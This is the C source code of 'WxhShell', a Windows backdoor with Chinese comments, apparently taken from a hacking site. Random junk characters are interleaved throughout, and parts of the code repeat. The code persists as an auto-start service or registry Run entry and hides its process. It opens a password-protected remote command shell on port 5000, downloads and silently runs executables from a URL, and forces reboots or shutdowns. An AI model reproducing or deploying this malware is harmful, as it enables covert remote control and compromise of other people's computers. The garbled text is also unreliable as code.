=%-S FDv<\2+ c g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X1:V<,}" g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aFl;BhM NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i"1Mfz~e O+nEXS\rQ if (!NtQueryInformationProcess) return 0; Hf%@3X k)i3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W6^5YH% if(!hProcess) return 0; jqz ux[6{ $6#CqWhI if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L,HhbTRca `A,-@`p CloseHandle(hProcess); #{6{TFx\ Z< 1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rbul8(1h if(hProcess==NULL) return 0; Z@yW bjE7Z 3>3 Kwc~E HMODULE hMod; 9G9t" { char procName[255]; V~UN unsigned long cbNeeded; fPU`/6 a f6M,{F if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |e=,oV" a y4 % CloseHandle(hProcess); \Yy$MLs ['b}QW@Fx if(strstr(procName,"services")) return 1; // 以服务启动 -Sqz5lo Ah1]Y}sy
return 0; // 注册表启动 M
"ui0
ac } hz{`h BfXgh'Z~ // 主模块 .7O*pJ2(H int StartWxhshell(LPSTR lpCmdLine) 0q^>ZF-@ { x!hh"x SOCKET wsl; _PPy44r2 BOOL val=TRUE; jY&k int port=0; uY0lR:| struct sockaddr_in door; ,1hxw<sNR f@6QvkIa if(wscfg.ws_autoins) Install(); e*sfPHt HsxVZ.dS port=atoi(lpCmdLine); GmK^}=frj +|*IZ:w) if(port<=0) port=wscfg.ws_port; C:GK,?!Jn' 9U7nKJ+iby WSADATA data; ,t3wp#E2# if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G%BjhpL 2L!u1 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; V#v`(j% setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b}\N;D.{ door.sin_family = AF_INET; 3N8t`N door.sin_addr.s_addr = inet_addr("127.0.0.1"); O8^A5,2@3> door.sin_port = htons(port); PoNi"Pv 9q)Kfz if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N>Xo_-QCY closesocket(wsl); \TIT:1 return 1; ]{!U@b } eFipIn)b '|ad_M if(listen(wsl,2) == INVALID_SOCKET) { y~(h>gi,x closesocket(wsl); .n TwPrG return 1; \-L&5x"x } u^&A W$ Wxhshell(wsl); rUTcpGH WSACleanup(); }pDqe;a{ XWDL5K return 0; Ltv]pH}YN =pr`' } "7U4'Y:E 1f%1*L0>@ // 以NT服务方式启动 T
_r:4JS VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oVnvO iAc { 60P<4 DWORD status = 0; "33Fv9C#bK DWORD specificError = 0xfffffff; rUwZMli bw(a6qKK serviceStatus.dwServiceType = SERVICE_WIN32; 'QJ:`)z serviceStatus.dwCurrentState = SERVICE_START_PENDING; 90Pl$#cb2 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dMPc:tJT serviceStatus.dwWin32ExitCode = 0; ,ZaRy$? serviceStatus.dwServiceSpecificExitCode = 0; {SOr#{1z* serviceStatus.dwCheckPoint = 0; X1,I serviceStatus.dwWaitHint = 0; GC<l#3+ XND|h#i8 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PvzcEV if (hServiceStatusHandle==0) return; r`=+ L-! s kvGU(G} status = GetLastError(); \@Ts+7% if (status!=NO_ERROR) i6R~`0>Q { vNVox0V serviceStatus.dwCurrentState = SERVICE_STOPPED; ?fiIwF) serviceStatus.dwCheckPoint = 0; =MSr/ O2 serviceStatus.dwWaitHint = 0; z-BXd serviceStatus.dwWin32ExitCode = status; \j+1V1t9 serviceStatus.dwServiceSpecificExitCode = specificError; iM AfJ-oN SetServiceStatus(hServiceStatusHandle, &serviceStatus); )5rb&M} return; 6uv#de } QFE:tBHe 6O|@xvg serviceStatus.dwCurrentState = SERVICE_RUNNING; oOnop-z7 serviceStatus.dwCheckPoint = 0; .RE:;<|w serviceStatus.dwWaitHint = 0; 2^Eg9y' if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t\?ik6 } mGtdO/C#B FFl!\y*0z // 处理NT服务事件,比如:启动、停止 cIUHa VOID WINAPI NTServiceHandler(DWORD fdwControl) s0\X ^ { ? 8)'oMD switch(fdwControl) `V=N*hv` { G"klu case SERVICE_CONTROL_STOP: WeJl4wF serviceStatus.dwWin32ExitCode = 0; kv]~'Srk serviceStatus.dwCurrentState = SERVICE_STOPPED; Z"Zmo>cV4 serviceStatus.dwCheckPoint = 0; %huRsQ%} serviceStatus.dwWaitHint = 0; +Um( h-; { *e<[SZzYZ SetServiceStatus(hServiceStatusHandle, &serviceStatus);
//*fSF } T{Gj+7bQ~ return; t,QyfN case SERVICE_CONTROL_PAUSE: DD7h^-x serviceStatus.dwCurrentState = SERVICE_PAUSED; $g@=Z" break; xRJ\E }/7 case SERVICE_CONTROL_CONTINUE: M.Y~1c4f serviceStatus.dwCurrentState = SERVICE_RUNNING; 8R2QZXJb- break; 'ZT^PV\ case SERVICE_CONTROL_INTERROGATE: 00'%EYO break; XO`0>^g }; dpJ_r>NI SetServiceStatus(hServiceStatusHandle, &serviceStatus); m/Oh\KlIl } 4 kn|^ d^Inb!%w // 标准应用程序主函数 u_hD}V^x4 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b+,';bW { Mxe}B' N+++4; // 获取操作系统版本 ! _f9NK OsIsNt=GetOsVer(); YT8vP~ GetModuleFileName(NULL,ExeFile,MAX_PATH); 5}:-h> .|hf\1_J // 从命令行安装 fo5iJz"Z if(strpbrk(lpCmdLine,"iI")) Install(); hq%?=2'9? o%v0h~tn // 下载执行文件 uH/J]zKR if(wscfg.ws_downexe) { Z('Z if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0M*Z'n
+ WinExec(wscfg.ws_filenam,SW_HIDE); S\4tzz @ } B&\IGWG( FR$:" if(!OsIsNt) { W6f/T3 // 如果时win9x,隐藏进程并且设置为注册表启动 .}^g!jm~h HideProc(); ao%NK<Lt StartWxhshell(lpCmdLine); &wie] } Uhe=h&e2k@ else V}bjK8$$ if(StartFromService()) 4y)P>c // 以服务方式启动 | 1E|hh@k StartServiceCtrlDispatcher(DispatchTable); |s'Po^Sy else ?a8^1: // 普通方式启动 <d,b '<z
s StartWxhshell(lpCmdLine); LwrUQ) cFaaLUZk return 0; Z9:-rcr } M|6A0m#Q [.m`+ Yb+yw_5 _hN\10ydY =========================================== V`X2>-Ex H#@^R( <%($7VMev p qfUW+> os,* 3WO }#.L7SIJ<J " y603$Cv ^X0P'l&D2 #include <stdio.h> m4aB*6<lq #include <string.h> ZZk=E4aae #include <windows.h> >{N9kWY #include <winsock2.h> Kh,V.+7k #include <winsvc.h> OTy.VT| #include <urlmon.h> IzsphBI }x@2]juJ #pragma comment (lib, "Ws2_32.lib") u6T+Cg #pragma comment (lib, "urlmon.lib") Q?e*4ba QOjqQfmM; #define MAX_USER 100 // 最大客户端连接数 qLw{?sH}J/ #define BUF_SOCK 200 // sock buffer #i@;J]x( #define KEY_BUFF 255 // 输入 buffer _]yn"p HIQ_%L4] #define REBOOT 0 // 重启 0KYEb%44 #define SHUTDOWN 1 // 关机
UmNa[s )T';qm0w #define DEF_PORT 5000 // 监听端口 IAYR+c 2HpHxVJ #define REG_LEN 16 // 注册表键长度 vk+VP 1D #define SVC_LEN 80 // NT服务名长度 |rJ=Ksc 87Oad@FOr // 从dll定义API m6TNBX typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Du`JaJI typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f%Ns[S~ r typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `4(e typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); # ,7e
NM" g}f`,r9 // wxhshell配置信息 >ZPsjQuf" struct WSCFG { )Gj8X}DM int ws_port; // 监听端口 i;NUAmx char ws_passstr[REG_LEN]; // 口令 |o{:ZmzM int ws_autoins; // 安装标记, 1=yes 0=no /`f^Y>4gD char ws_regname[REG_LEN]; // 注册表键名 s~>d:'k7| char ws_svcname[REG_LEN]; // 服务名 0ZBJ~W char ws_svcdisp[SVC_LEN]; // 服务显示名 M:-.o char ws_svcdesc[SVC_LEN]; // 服务描述信息 |zR8rqBX; char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3 DD ML, int ws_downexe; // 下载执行标记, 1=yes 0=no >=RmGS char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gg[WlRQK4A char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fG}tMSI %1H[Wh(U }; 33#0J$j7 6I1,:nLL< // default Wxhshell configuration )=5ng- struct WSCFG wscfg={DEF_PORT, 3{ LP?w:@ "xuhuanlingzhe", ]vgB4~4#LP 1, ;ado0-VQi' "Wxhshell", q[HTnx "Wxhshell", lL{5SH<Q "WxhShell Service", t *1u[~= "Wrsky Windows CmdShell Service", (IC]?n} "Please Input Your Password: ", <<(wa
j 1, k *Q<3@S "http://www.wrsky.com/wxhshell.exe", YQ39A_e
g "Wxhshell.exe" zN!ZyI$nqP }; Q,p}:e 99}(~B // 消息定义模块 ?0)&U char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F">Qpgt char *msg_ws_prompt="\n\r? for help\n\r#>"; oX0 D char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >}!mQ pAO char *msg_ws_ext="\n\rExit."; :X.b}^ Z( char *msg_ws_end="\n\rQuit."; +VCGlr char *msg_ws_boot="\n\rReboot..."; 0}$Hi char *msg_ws_poff="\n\rShutdown..."; CACTE
char *msg_ws_down="\n\rSave to "; Cg&e(
hvA^n@nr char *msg_ws_err="\n\rErr!"; nyBJb(5"B char *msg_ws_ok="\n\rOK!"; c/zJv*}x? WpF2)R}G= char ExeFile[MAX_PATH]; pcYG~pZ9 int nUser = 0; IkBei&4F` HANDLE handles[MAX_USER]; !'mq ?C= int OsIsNt; _acE:H I
6<*X SERVICE_STATUS serviceStatus; Bm"KOr$}- SERVICE_STATUS_HANDLE hServiceStatusHandle; 1jy9lP= I 4,K43| // 函数声明 NbC@z9Q int Install(void); #Yr9AVr}K int Uninstall(void); c:-!'l$ ! int DownloadFile(char *sURL, SOCKET wsh); Z2TL #@ int Boot(int flag); h<Ft_#|o[ void HideProc(void); HvM)e.! int GetOsVer(void); U}MXT<6 int Wxhshell(SOCKET wsl); ^;/b+ /B0 void TalkWithClient(void *cs); sB^<6W!`( int CmdShell(SOCKET sock); 3H|_mX int StartFromService(void); u[L`-zI int StartWxhshell(LPSTR lpCmdLine); 2'_:S@ Z$0uH* h VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gA:5M VOID WINAPI NTServiceHandler( DWORD fdwControl ); TQx.KM>y IG|X!l // 数据结构和表定义 o3I Tr'; SERVICE_TABLE_ENTRY DispatchTable[] = fRtUvC-#H { O)ME"@r@: {wscfg.ws_svcname, NTServiceMain}, 'h^0HE\~p {NULL, NULL} ,!dh2xNH^ }; j:E<p_T
KnsT\>[K // 自我安装 qW!]co int Install(void) s<oNE)xe { 1_\;- !t char svExeFile[MAX_PATH]; J.ck~;3 HKEY key; %!du,2 strcpy(svExeFile,ExeFile); 6ek;8dL
e'0{?B // 如果是win9x系统,修改注册表设为自启动 Md0sK if(!OsIsNt) { AgFVv5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -PS#Z0> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ve%
xxn: RegCloseKey(key); \8<BLmf4U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hm$=h>rY9[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _io+YzS RegCloseKey(key); 'Y56+P\u return 0; ADpmvW f? } =!`j7#: } \/1<E?Q
f } Td G!&:> else { /c2w/+ _ d4nH_? // 如果是NT以上系统,安装为系统服务 L
]w/P| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GDD '[; if (schSCManager!=0) );Z1a&K5k { Zf'TJ`S SC_HANDLE schService = CreateService )hk ( tI7:5Cm schSCManager, G3rj`Sg^c wscfg.ws_svcname, wg0 \_@3 wscfg.ws_svcdisp, rMU T_^ SERVICE_ALL_ACCESS, xfb]b2 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4dhvFGlW SERVICE_AUTO_START, z.Y$7bf) SERVICE_ERROR_NORMAL, d)pV;6%[$q svExeFile, QF&W`c NULL, r=6v`)Qr NULL, /)dFK~ NULL, |\U5),m NULL, )l!3( NULL DqX{'jj );
u$-U*r if (schService!=0) zOGU8Wg { ^_ kJKM, CloseServiceHandle(schService); 4H|(c[K; CloseServiceHandle(schSCManager); /w]!wM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R1& [S/ strcat(svExeFile,wscfg.ws_svcname); 55;g1o}}f if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aBNZdX]vzO RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PJ2qfYsH=> RegCloseKey(key); dw TMq*e return 0; I('Un@hS } v>Mnl } $6CwkM: CloseServiceHandle(schSCManager); 7^Ns&Q } v{9t]s>B } X`fn8~5
C&6IU8l\ return 1; 7f~Sf } _L@2_#h! ,2j.<g&
// 自我卸载 ?}m']4p int Uninstall(void) Q4*fc^?u {
jq+A-T}@ HKEY key; $d,0=Ci JB>b`W9 if(!OsIsNt) { A0fFv+RN3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (sQr X{~ RegDeleteValue(key,wscfg.ws_regname); I(9R~q RegCloseKey(key); "h|'}7p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {'AWZ( RegDeleteValue(key,wscfg.ws_regname); ;q:jl~ RegCloseKey(key); ?gwUwOV" return 0; !vk|<P1 } mWyqG*-Hb } #vzEu
)Ul } <D::9c j else { H_0/f8GwnG 2e|N@j
& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wN2QK6Oc if (schSCManager!=0) O)Y?=G)
{ 3;8!rNN SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZvUCI8 if (schService!=0) Y&
F=t/U2 { &`fhEN if(DeleteService(schService)!=0) { {&"L~>/o CloseServiceHandle(schService); QjC22lW- CloseServiceHandle(schSCManager); tOOchu?= return 0; iC*F } [xT:]Pw} CloseServiceHandle(schService); Vur bW=~g } P)uDLFp] CloseServiceHandle(schSCManager); 8o/}}=m$ } 5r?m&28X }
!xwG%{_ ]XTu+T.aT return 1; Z(9u< } 8HZs>l YFTjPBV // 从指定url下载文件 ;r6jx"i int DownloadFile(char *sURL, SOCKET wsh) tw(JZDc { 9{$'S4 HRESULT hr; HFq m6| char seps[]= "/"; 4<x'ocKlD char *token; /'hC i]b@v char *file; W,K%c= char myURL[MAX_PATH]; (?H0+zws^ char myFILE[MAX_PATH]; &
u!\<\ YOrrkbJ( strcpy(myURL,sURL); NBF MN% token=strtok(myURL,seps); de]z T^&C while(token!=NULL) ,&d@O>$E: { {<5ybbhLV file=token; Vf`7V$sr token=strtok(NULL,seps); 5BR2?hO4 } o=RM-tR`v zz^F
k& GetCurrentDirectory(MAX_PATH,myFILE); 5P .qXA"D strcat(myFILE, "\\"); &*s0\
8 strcat(myFILE, file); XUF\r]B,9 send(wsh,myFILE,strlen(myFILE),0); ^0#;YOk send(wsh,"...",3,0); "7v-`i hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k@ K7yK if(hr==S_OK) 3b YCOqG return 0; ~Aq5XI%i else 720)VzT return 1; \@>b;4Fb+N 7 t?* } (n1Bh~R^ qClHP)< // 系统电源模块 <F
)_!0C int Boot(int flag) 0A:n0[V:] { fGv#s
X HANDLE hToken; q\rC5gk> TOKEN_PRIVILEGES tkp; #XnPsU<J $o +5/c?| if(OsIsNt) { !;Jmg OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jY6MjZI LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n9;;x%6 .I tkp.PrivilegeCount = 1; 9=,uq; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zyg:nKQW AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m>}8'N) if(flag==REBOOT) { nr)c!8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 63!rUB!
return 0; ?+c`]gO7N } ~O 3D[PNW~ else { UA~RK2k? if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {"vkji> return 0; W-
$a
Y2 } >|Q:g,I } NWfAxkz{/ else { ?k[p<Uo if(flag==REBOOT) { 3M0+"l(X if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \7z^!m return 0;
Ke-)vPc } Wy]^Ub gW else { ,&Wn [G<2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b.O9ITR return 0; J4=_w } 81%8{yn!$" } =V97;kq+v &ff&Y.q~ return 1; WhBpv(q}. } ^2odr \ hSGb-$~F // win9x进程隐藏模块 O g%U void HideProc(void) fnCItK~y { ySbqnw' W2;N<[wa<u HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f&4,?E;6% if ( hKernel != NULL )
LzDI0a. { L5IbExjV pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 65,(4Udz! ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J
wm T/ FreeLibrary(hKernel); )U:2z-X&e } ]ALc;lb-} QFPfIb/ return; O;HY% } GO! uwo: fWGOP~0 // 获取操作系统版本 W
YW|P2* int GetOsVer(void) o$.e^XL
{ x\s,= n3z OSVERSIONINFO winfo; nsb4S{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I1 U7.CT GetVersionEx(&winfo); 6
fz} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q6C-4ja return 1; z5Qs@dG else XA_FOw!cX return 0; +~nzii3 } _U|7'^ | M!M!Ni // 客户端句柄模块 =\,
qP int Wxhshell(SOCKET wsl) KyP)Qzp { K 3GSOD> SOCKET wsh; kJs^ z struct sockaddr_in client; i;PL\Er:tX DWORD myID; I/x iT iF+RnWX\ while(nUser<MAX_USER) jY!ZkQsVe { "()sb? & int nSize=sizeof(client); }i!pL(8; wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S06Hs~>Y if(wsh==INVALID_SOCKET) return 1; G&eP5'B4i SKY*.IW/Z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9=dkx^q if(handles[nUser]==0) FZpKFsPx closesocket(wsh); pL1s@KR else Lp:6 ; nUser++; RBGlzk } -qV{WZ Hp WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FdOFE.l X7*` return 0; TB
aVW } O';ew)tI
)wzV
$(~ // 关闭 socket @nV5.r0W}B void CloseIt(SOCKET wsh) !{_yaVF { x;BbTBc> closesocket(wsh); 9vGs; nUser--; f%qt)Ick ExitThread(0); ?Ce#BwQ> } Vs0 SXj cJ}QXuuUv // 客户端请求句柄 m)?5}ZwAH void TalkWithClient(void *cs) 1ywU@].6J] { J_#R 87 0_<Nc/(P SOCKET wsh=(SOCKET)cs; @u4=e4eF` char pwd[SVC_LEN]; ? S=W& char cmd[KEY_BUFF]; Sj
3oV char chr[1]; h=RDO int i,j; nX%AeDBAT =)<3pG O while (nUser < MAX_USER) { #'o7x'n^ )+O r if(wscfg.ws_passstr) { Il~01|3+m if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ('o&Q_ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @O3/3vi1 //ZeroMemory(pwd,KEY_BUFF); (hZ:X)E> i=0; )xl6,bq3 while(i<SVC_LEN) { f!GHEhQ9 F#q&( // 设置超时 "4}wnu6/ fd_set FdRead; zDBD .5R; struct timeval TimeOut; :pKG\A FD_ZERO(&FdRead); o#i
]" FD_SET(wsh,&FdRead); j^u[F" TimeOut.tv_sec=8; |DG@ht TimeOut.tv_usec=0; ]gd/}m)1 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^3I'y
UsY if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z)L}ECZh9 -]"T^wib if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2g`[u| pwd=chr[0]; ~5#)N{GbY if(chr[0]==0xd || chr[0]==0xa) { }B!cv{{ pwd=0; M?:\9DDd break; r:l96^xs } oFg'wAO. i++; }N3`gCy9eN } XdIah<F2 JAb$M{t // 如果是非法用户,关闭 socket >2-F2E, if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z^6#4Q]YC } CUhV$A#oo *=nO send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2*[Un( send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d?Y-;-|8Qh B%b_/F]e while(1) { fNhT;Bux
,?b78_,2 ZeroMemory(cmd,KEY_BUFF); /mbCP>bcG 5j[#'3TSU // 自动支持客户端 telnet标准 Sb<\-O14" j=0; _-a|VTM while(j<KEY_BUFF) { %jKH?%Ih if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u(vw|nj` cmd[j]=chr[0]; E[S' :Q if(chr[0]==0xa || chr[0]==0xd) { @W9H9PWv& cmd[j]=0; O3_B<Em break; 8 lS($@@{ } XJFnih j++; 8W{~wg` } G' Hh{_: ~/c5hyTx // 下载文件 ~zMKVM1Q., if(strstr(cmd,"http://")) { r@$B'CsLj send(wsh,msg_ws_down,strlen(msg_ws_down),0); 46ChMTt if(DownloadFile(cmd,wsh)) ^![{,o@"A send(wsh,msg_ws_err,strlen(msg_ws_err),0); &:8T$UV else <d!6[,W; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aJ-} } Qp 69Sk@H{ else { n0FYfqH + U5U.f% switch(cmd[0]) { h]}`@M" D=9}|b/ // 帮助 V_M@g;<o case '?': { SQIdJG^: send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0^iJlR2 break; 44Qk;8* } ?Q:PPqQ // 安装 >ZDC . ~ case 'i': { q]ZSjJ if(Install()) s"rg_FoL send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?z"YC&Tp else _S<?t9mS send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '?k' 6R$'\ break; >Fh#DmQ } 8_awMVAy // 卸载 ?d,M.o{0] case 'r': { 5ZUy: if(Uninstall()) 65"uD7; send(wsh,msg_ws_err,strlen(msg_ws_err),0); R\ q):, else {e6KJ@H6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %#4 +! break; 0%;MVMH } W^|J/Y48 // 显示 wxhshell 所在路径 9TW8o}k` case 'p': { a^/K?lAB8 char svExeFile[MAX_PATH]; a(!3Afi strcpy(svExeFile,"\n\r"); m9b(3 strcat(svExeFile,ExeFile); =VCQ* send(wsh,svExeFile,strlen(svExeFile),0); p\ok_*b break; eEie?#Z/6 } %xh?!s|G( // 重启 \d$Rd")w case 'b': { /sH0x,V send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yjR)Z9t if(Boot(REBOOT)) kraVL%72 send(wsh,msg_ws_err,strlen(msg_ws_err),0); %OFj else { tzmETRwG closesocket(wsh); 0w+5'lOg ExitThread(0); U_}hfLILi } N=<=dp( break; 'W+i[Ep5Q } G)4SWu0<t // 关机 m/" J
s case 'd': { \3:
L Nt send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?GfxBZWJ if(Boot(SHUTDOWN)) ip674'bq7R send(wsh,msg_ws_err,strlen(msg_ws_err),0); jB/V{Y#y9@ else { 6*V8k%H closesocket(wsh); |87W* ExitThread(0); lkN'uZ } E7gL~4I break; *CT.G'bQX } Bj+wayMi // 获取shell PgTDjEo case 's': { YkVRl [ CmdShell(wsh); @7]\y7D closesocket(wsh); vQcUaPm\$ ExitThread(0); _Z0\`kba+ break; K~$ 35c3M } YVJ+'
A=| // 退出 DUQ9AT#3 case 'x': { *H?t;,\ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `TkbF9N+ CloseIt(wsh); h\2}875 break; 2$ } -2z,cj&E{ // 离开 "C& J wm? case 'q': { -@#Pc# send(wsh,msg_ws_end,strlen(msg_ws_end),0); !&\meS{ closesocket(wsh); a.1`\$]d WSACleanup(); <(Tiazg exit(1); uGM>C" break; K^8@'#S } mUiOD$rO } 8Y7 @D$=w } S>(z\`1qm -S7RRh'p // 提示信息 vD_u[j] if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XS3{R } V15q01bE# } MHGj vSx 2S'AIuIew return; ~U/8 @gR } va@Xb UC H a90 // shell模块句柄 TdNsyr}JG int CmdShell(SOCKET sock) x{~_/;\p3 { e{:86C!d) STARTUPINFO si; aQxe) ZeroMemory(&si,sizeof(si)); A}gYcc85Z si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8b{U
tT si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X1O65DMr`g PROCESS_INFORMATION ProcessInfo; Q})t<l+L char cmdline[]="cmd"; }Z^FEd"y CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9x4wk*z return 0; &^AzIfX}Gw } |e~u!V\m >}70]dN7b // 自身启动模式 4 iik5 int StartFromService(void) [2 =^C=52 { <xXiJU+ typedef struct *h>OW { /j$$0F>s7 DWORD ExitStatus; vY4WQbz( DWORD PebBaseAddress; 0PR4g}" DWORD AffinityMask; Q3(hK<Qh; DWORD BasePriority; d$4WK)U ULONG UniqueProcessId; sYl&Q.\q ULONG InheritedFromUniqueProcessId; $U\!q@'$ } PROCESS_BASIC_INFORMATION; U`:l AG
8u4gx<;O PROCNTQSIP NtQueryInformationProcess; q$bHO i?lX,9% static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y"r3i] static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zUe#Wp[ Tw?Pp8' HANDLE hProcess; Rd`{qW PROCESS_BASIC_INFORMATION pbi; =7*oC Dm&lSWW`/ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e6Wl7&@6 if(NULL == hInst ) return 0; f S(^["*G 6'S5sRA g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w2.qT+;v g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ": mCZUt NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]}jgB2x7 .WxFm@]/\ if (!NtQueryInformationProcess) return 0; Bk\ *0B z?8zFP hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J,CJPUf& if(!hProcess) return 0; /+Wb6{lY Dh*~U:6$g if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u]ZqF * C~3@M<X CloseHandle(hProcess); U/}AiCdj@ Pc/.*kOT hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cP/F|uG5 if(hProcess==NULL) return 0; DMy4"2
